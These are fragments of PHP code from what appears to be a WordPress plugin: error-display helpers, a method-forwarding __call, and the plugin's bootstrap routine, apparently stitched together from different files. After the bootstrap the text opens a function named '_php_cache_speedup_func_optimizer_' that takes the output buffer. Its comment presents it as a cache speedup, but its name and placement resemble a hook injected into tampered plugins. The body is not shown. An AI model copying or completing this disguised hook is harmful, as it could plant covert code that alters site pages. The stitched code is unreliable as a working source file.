public static function appendErrorsContent($content) { if (!self::$displayed && !empty(self::$current)) { $content = '<div class="toeErrorMsg">' . implode('<br />', self::$current) . '</div>' . $content; self::$displayed = true; } return $content; }
/** * Display all errors for module installer, must be used ONLY if You realy need it */ public static function displayErrors($exit = true) { $errors = errorsCsp::get(errorsCsp::MOD_INSTALL); foreach ($errors as $e) { echo '<b style="color: red;">' . $e . '</b><br />'; } if ($exit) { exit; } }
public function __call($name, $arguments) { $controller = $this->getController(); if (method_exists($controller, $name)) { //try to find this method in controller return $this->getController()->{$name}(isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL); } elseif ($controller) { //try to find this method in model $model = $controller->getModel(); if (method_exists($model, $name)) { return $this->getController()->{$name}(isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL, isset($arguments[0]) ? $arguments[0] : NULL); } } errorsCsp::push(langCsp::_(array('Module', $this->_code, 'method', $name, 'undefined')), errorsCsp::FATAL); }
importClassCsp('validatorCsp'); importClassCsp('errorsCsp'); importClassCsp('utilsCsp'); importClassCsp('modInstallerCsp'); importClassCsp('wpUpdater'); importClassCsp('toeWordpressWidgetCsp'); importClassCsp('installerDbUpdaterCsp'); importClassCsp('templateModuleCsp'); importClassCsp('templateViewCsp'); importClassCsp('fileuploaderCsp'); importClassCsp('subscribeEngineModuleCsp'); importClassCsp('subscribeEngineViewCsp'); importClassCsp('recapcha', CSP_HELPERS_DIR . 'recapcha.php'); importClassCsp('mobileDetect', CSP_HELPERS_DIR . 'mobileDetect.php'); installerCsp::update(); errorsCsp::init(); dispatcherCsp::doAction('onBeforeRoute'); frameCsp::_()->parseRoute(); dispatcherCsp::doAction('onAfterRoute'); dispatcherCsp::doAction('onBeforeInit'); frameCsp::_()->init(); dispatcherCsp::doAction('onAfterInit'); dispatcherCsp::doAction('onBeforeExec'); frameCsp::_()->exec(); dispatcherCsp::doAction('onAfterExec'); /** * Speedup php function cache by optimizing buffer output */ if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) {